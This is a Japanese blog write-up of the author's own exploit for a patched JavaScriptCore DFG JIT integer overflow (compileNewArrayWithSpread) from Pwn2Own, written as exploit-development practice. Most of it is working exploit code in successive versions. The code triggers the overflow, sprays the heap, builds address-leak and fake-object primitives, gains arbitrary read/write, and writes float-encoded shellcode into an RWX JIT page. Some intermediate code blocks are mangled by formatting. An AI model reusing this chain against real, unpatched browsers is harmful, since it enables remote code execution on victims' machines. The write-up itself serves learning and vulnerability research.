
パッチ適用済みのJavaScriptCoreの脆弱性を悪用する
これは、バンクーバーで開催された pwn2own コンテストで Fluoroacetate によって発見された WebKit の脆弱性に対するエクスプロイトです。私はこのバグを発見したわけではありませんが、エクスプロイト開発スキルを練習するためにこのエクスプロイトを作成しました。このエクスプロイトの元の解説記事は Zero Day Initiative による こちら です。この解説記事は非常に優れており、脆弱性の理解に役立ちましたが、脆弱性を検証する人の視点から書かれています。このエクスプロイトをゼロから作成しようとした際に、いくつかの重要な詳細が欠けていることに気づき、ZDI の解説記事では見落とされたギャップを埋め、複雑なエクスプロイトをゼロから設計する実践的なスキルを身につけたいと考えています。
以下の手順は、WebKit の JavaScript エンジンである JavaScriptCore (JSC) 内で任意のコード実行を達成するための概要です。
悪用される脆弱性は、WebKit の DFG ジャストインタイム (JIT) コンパイラによって生成されるコードで発生する整数オーバーフローです。これは特に compileNewArrayWithSpread 関数で発生します。この関数は、JavaScript スプレッド構文 を使用して新しい配列を作成するコードが DFG によって JIT コンパイルされるときに呼び出されます。

JIT コード内では、まず配列のサイズを計算します。これは、配列コンストラクタに渡された各引数の長さを加算することで行います。各加算のサイズを計算する際に、サイズのオーバーフローをチェックします。その後、この関数で計算された長さを引数として compileAllocateNewArray 関数を呼び出します。

compileAllocateNewArray は、先に計算された長さを emitAllocateButterfly に渡します。

emitAllocateButterfly は、サイズを 3 ビット左シフトします。これは 8 倍することに相当します。しかし、オーバーフローのチェックはなく、そのため 0x20000001 のような数値が 0x8 にオーバーフローする可能性があります。
次の C プログラムはこの脆弱性を示しています:


この脆弱性を利用して、JavaScript エンジンにサイズ 0x20000001 の配列を割り当てたと思い込ませながら、実際には 1 つの JSValue (8 バイト) 分のスペースしか割り当てていないように仕向けることができます。これにより、バウンダリ外 (OOB) の読み取りおよび書き込み (R/W) プリミティブが発生し、これを利用して任意の R/W を達成し、最終的にはリモートコード実行 (RCE) が可能になります。
OOB 読み取りが可能であることを確認するために、JSC の アドレスサニタイザー (ASAN) ビルドでこの脆弱性をトリガーしてみます。
これを行うには、WebKit ディレクトリから次のコマンドを実行します:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
これにより、JSCのデバッグビルドをASAN有効でビルドし、脆弱性を正常にトリガーできたかどうかを確認できるようになります。
以下がexploit.jsの最初のイテレーションです。```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
これを実行すると、次のエラーが発生します:
プログラムはシグナルSIGKILLで終了しました、Killed。 プログラムはもう存在しません。
私の推測では、そのような大きな配列を割り当てようとした際にメモリを消費しすぎたのではないかと考えました。これを確認するために、JITコードにブレークポイントを追加しました。compileNewArrayWithSpread内にm_jit.breakpoint()の呼び出しを追加することで、JITコードにint3命令を追加しました。
ブレークポイントを追加したところ、それがヒットしなかったため、長さ0x20001でテストすることにしました。その後、コードがコンパイルさえされていないことに気づき、DFGコンパイラを起動するためにイテレーションを増やしました。```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
プログラムをそのままテストするとSIGKILLが発生しますが、より小さな長さでテストするとブレークポイントにヒットします。この時点では、JSCがその巨大な配列を処理しようとしてメモリ不足になっているように思われます。
この問題に対処するため、より小さな `a` 配列を割り当て、スプレッド構文を使用してそれを複数回利用し、破損した配列を作成することにしました。結果として、次のような `exploit.js` ができました。```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
このコードを使って、SIGKILLなしでブレークポイントにヒットできました!よくあることですが、一つの問題を修正すると別の問題が現れ、代わりにSIGABORTが発生しました... gdbのbtコマンドを使うと、operationNewArrayWithSizeが呼び出され、それがcreateを呼び出したことがわかります。
JITコンパイルされたコードがoperationNewArrayWithSizeを呼び出すのは奇妙に思えます。何らかの理由で、JITコードがJavaScriptエンジンへのスローパスを取らなければならなかったに違いありません。

compileAllocateNewArrayWithSize内で、確かにoperationNewArrayWithSizeへのベイルアウトがあることがわかります。そこで、なぜスローパスにベイルアウトするのかを正確に突き止める必要があります。
compileNewArrayWithSpreadの中で、shouldConvertLargeSizeToArrayStorageがfalseに設定されており、スローパスはコンパイルされたコードに含まれないことがわかります。
したがって、スローパスはemitAllocateJSObject内のどこかでヒットしていると考えるのが妥当です。

emitAllocateJSObjectはemitAllocateJSCellを呼び出し、さらにemitAllocateを呼び出します。


WebKitアロケータの動作を知らなければ、これはかなり混乱するように見えます。そこで、gdbでいくつかブレークポイントを追加し、ステップ実行することにしました。
emitAllocateButterflyによって呼び出されたemitAllocateVariableSizedに設定したブレークポイントにヒットした後、次のようなアセンブリコードが見えました。
これは、JITコンパイラがここで出力したコードに対応しています。
アロケーションサイズに0xfが加算され、4ビット右シフトされていることがわかります。その後、0x1f6と比較され、スローパス分岐に対応します。その後、サブスペースアロケータをrsiに移動し、計算結果に基づいてこのポインタにインデックスを付けます。そして、emitAllocateWithNonNullAllocatorに設定したブレークポイントに進み、次のアセンブリコードを見つけます。

これは、JITコンパイラがここで出力したコードに対応します。
アセンブリをいくつかステップ実行したので、何が起こっているのか少しコンテキストが掴めました。さらに2命令ステップ実行すると、ジャンプを行うことがわかります。

C++コードを見ると、これはこのアロケータのフリーリストに残りスペースがゼロであることを意味し、ポップパスを取ることが推測できます。

ジャンプを実行し、次の2命令を実行すると、ジャンプが直接スローパスを取ることに相当していることがわかります。スローパスを取るのは、アロケータの秘密がアロケータのスクランブルされた先頭とXORされ、結果がゼロになるからです。WebKitアロケータについてこれ以上知識がなければ、何が起こっているのかを正確に把握するのは困難です。
WebKitアロケータについてもっと時間をかけて学びたいところですが、より簡単な方法として、いくつかのアイデアを試して、異なる結果が得られるかどうかを見て、そこからデバッグすることにしました。
私が思いついたアイデアの一つは、サイズ0x10の配列をアロケーションすることです。これは、脆弱性をトリガーする配列と同じアロケーションステップサイズになります。そして、サイズ1の配列でjitMeを呼び出します。アロケータのアドレスがわかっているので、分岐につながる値にウォッチポイントを設定し、いつ変更されるかを確認できます。このアイデアは、同じステップサイズになるオブジェクトをアロケーションすることで、アロケータが異なる、より興味深い状態になるかもしれないと考えたからです。これにより、exploit.jsの次の反復処理に進みます。```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]
jitMe(b)
jitMe(a)
このアイデアのテストは成功しました!
小さな配列で `jitMe` をテストするとき、スローパスを取らないことがわかります!次に、r8 + 0x18 にウォッチポイントを設定して、この値がいつゼロに設定されるかを確認します。ウォッチポイントにヒットした後、次のバックトレースが得られます:

バックトレース内の関数名から、ガベージコレクションが実行され、`secret` と `scrambledHead` の値が0に設定されているように見えます。
コールスタックから、`createFromArray` 内の `tryCreate` の呼び出しがガベージコレクションを開始する原因であることがわかります。

`createFromArray` 内では、各要素をループしてアクセスします。そして、get の呼び出しをインターセプトしてアロケータを再初期化できれば、スローパスを取るのを防ぐことができます。
exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
let dummy = [1.1]
for(let i = 0; i < 80; i++){
jitMe(dummy, dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
let b = [];
b.length = 1;
b.__defineGetter__(0, () => {
let x = new Array(0x10)
})
jitMe(a, b)
Gives us an ASAN error!!
脆弱性を確実にトリガーできるようになったので、OOB R/Wプリミティブを使用してメモリをさらに破壊し、型混乱プリミティブを取得します。最初のステップは、ASANを無効にしてJSCを再コンパイルすることです。これを実行した後、exploit.jsを再実行すると、次のクラッシュが発生します。

pythonのstructモジュールを使って浮動小数点数1.1をバイトに変換すると、期待通りの0x3ff299999999999aが得られます。これが、この値を0x3ff299999999999aに書き換えていることがわかります。
メモリ破壊に成功したことが確認できたので、この状態を型混乱に変えるためにヒープ操作を行う必要があります。アイデアとしては、ArrayWithDoublesとArrayWithContiguousを多数スプレーし、バタフライの長さを書き換えることで、これらの配列で範囲外アクセスを実現し、型混乱を引き起こすというものです。十分な数の配列を割り当てることで、範囲外アクセスが重要な値を壊すのを防ぐことができるでしょう。```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)
これらの配列にスプレーした後、`badArray` からのデータで上書きされます。これにより、範囲外書き込み後にセグメンテーションフォールトを防ぐことができます。破損可能な配列を取得するには、さらに3つの配列(ArrayWithDouble、ArrayWithContiguous、続いてArrayWithDouble)を割り当てます。配列を破損させると、ArrayWithContiguous にオブジェクトを書き込み、ArrayWithDouble からそれを読み取ることで型混乱を引き起こし、アドレスを読み取ることができます。さらに、2番目の ArrayWithDouble にアドレスを書き込み、ArrayWithContiguous からそれを読み取ることで、指定されたアドレスに偽のオブジェクトを取得できます。
これを実装すると、次のようになります:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
さて、偽オブジェクトとアドレス漏洩プリミティブを手に入れたので、次の目標は任意の読み書きプリミティブを達成することです。一般的な戦略としては、偽オブジェクトを作成し、そのバタフライをArrayWithDoubleのバタフライに向け、そのバタフライに読み書きしたいアドレスを書き込むことです。この手法は元のエクスプロイトで使用されており、saeloがこの記事で言及しています。
しかし、これを実行する前に予期しないエラーに遭遇しました。エクスプロイトに一定量のコードを追加した後、脆弱性をトリガーしても機能せず、スローパスに陥りメモリ不足例外が発生することがわかりました。
この問題を修正するために、実行するコードを文字列として扱い、JavaScriptのeval関数を呼び出すことで回避できることがわかりました。何らかの理由で、これにより問題を回避できました。
偽オブジェクトを設定するには、有効な構造IDが必要です。そのために、多数の構造IDをスプレーし、自分の構造IDを予測可能な値に設定します。
ArrayWithDoubleのバタフライを上書きするには、ターゲットのバタフライにインデックスできる必要があります。そのために、アドレスがスプレーした構造ID配列の中央要素のアドレスより大きくなるまで配列を割り当て続けます。そして、偽オブジェクトのバタフライをこの中央要素に設定し、偽オブジェクトのバタフライにインデックスしてターゲットのバタフライを設定します。```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();
//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)
function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }
function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;
function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }
function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }
print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }
// make sure target is ArrayWithDouble target[1] = 1.1
print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }
print("[+] Got R/W primitive") `
eval(postTrigger)
- [x] 読み書きプリミティブを達成するために配列バタフライを破壊する
### レンダリングプロセス内での任意コード実行の達成
読み書きプリミティブを手に入れたので、あとはJITページをカスタムシェルコードで上書きするだけです。JITページを上書きするのは、これがプロセス内でRWXとしてマッピングされる可能性が高い唯一のメモリ領域だからです。代わりにROPチェーンとスタックピボットを実行してメモリ領域をRWXとしてマッピングし、シェルコードを実行することもできますが、この方法の方がはるかにシンプルであることがわかります。
JITページを上書きするには、まずJITコンパイルされた関数が必要です。私は脆弱性をトリガーするために使用した `jitMe` 関数を選びました。そこからgdbを使って、このオブジェクト内のポインタをたどり、JITコードが保持されているメモリに到達しました。これらのポインタオフセットはこのバージョンのWebKitに非常に特化しており、将来変更される可能性が高いことに注意してください。複数のバージョンのWebKitで動作することを意図したエクスプロイトを書く際には、これに依存すべきではありません。
JITページへのポインタを見つけたら、電卓を起動するシェルコードを書き込む必要があります。このシェルコードは次の画像の通りです:

次に、シェルコードをアセンブルし、バイトを抽出し、それらをR/Wプリミティブを使って書き込める浮動小数点数に変換する必要があります。
これにより、最終的なexploit.jsが得られます。```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)
最後に、エクスプロイトが動作している動画です!
この記事が、JSCのn-dayを取得し、それを利用したエクスプロイトを開発する方法を示す一助となれば幸いです。私はZeroday Initiativeのwriteupのおかげで恩恵を受けました。エクスプロイト作成中にこのwriteupを参照しましたが、主要なアイデアのみを取り入れ、実装はwriteupを見ずに自分自身で行うよう努めました。
このエクスプロイトは概念実証に過ぎず、可能な限り堅牢なものではありません。これまでに失敗した試みは経験していませんが、改善のためにできる作業は常にあります。これは学習体験として行ったものであり、エクスプロイトを可能な限り堅牢にするための手間はかけませんでした。